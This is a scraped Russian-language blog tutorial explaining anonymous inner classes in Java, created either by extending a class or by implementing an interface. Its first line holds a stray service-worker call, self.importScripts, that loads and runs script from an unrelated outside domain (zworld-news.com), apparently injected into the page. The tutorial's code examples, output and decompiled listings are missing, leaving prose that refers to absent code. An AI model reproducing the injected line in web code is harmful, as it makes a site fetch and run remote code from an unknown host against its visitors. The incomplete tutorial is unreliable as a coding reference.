google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Анонимный класс в Java

Анонимный класс в Java - это класс без имени. Его название определяет компилятор. Это позволяет нам объявлять и создавать экземпляр класса одновременно. Это как локальный класс за исключением того, что у него нет имени. Мы можем использовать это только один раз.
Анонимный класс также известен как анонимный внутренний класс в Java. Он называется анонимным внутренним классом, потому что он определен внутри другого класса.

Как создать анонимный класс в Java

Анонимный класс может быть создан двумя следующими способами.
1. Использование класса 
2. Использование интерфейса

Пример анонимного класса Java с использованием класса


Выход

Анонимный класс в Java
Когда приведенный выше код компилируется, создается анонимный класс, и его имя определяется компилятором. Этот анонимный класс расширяет класс Parent и переопределяет метод show ().
В приведенном выше примере создается объект анонимного класса, и его ссылка сохраняется в ссылочной переменной p родительского класса.
Я декомпилировал файл .class, сгенерированный компилятором для анонимного класса. Он содержит следующий код.

Пример анонимного класса Java с использованием интерфейса


Когда приведенный выше код компилируется, создается анонимный класс, и его имя определяется компилятором. Этот анонимный класс реализует интерфейс Parent и переопределяет метод show ().
В приведенном выше примере создается объект анонимного класса, и его ссылка сохраняется в ссылочной переменной p интерфейса Parent.
Я декомпилировал файл .class, сгенерированный компилятором для анонимного класса. Он содержит следующий код.

Какова цель анонимного класса в Java?

Вы можете подумать, что вышеупомянутая работа также может быть выполнена путем создания отдельного класса и последующего расширения класса Parent. Почему мы создали анонимный класс? На самом деле быстрее создать анонимный класс, чем создать отдельный класс. Анонимный внутренний класс полезен, когда мы хотим переопределить небольшое количество функциональности (например, одного метода) родительского класса. Это также делает наш код более лаконичным.
Если вы обнаружите, что что-то отсутствует или неверно в вышеприведенном уроке, пожалуйста, сообщите об этом, комментируя ниже.

Комментариев нет:

Отправить комментарий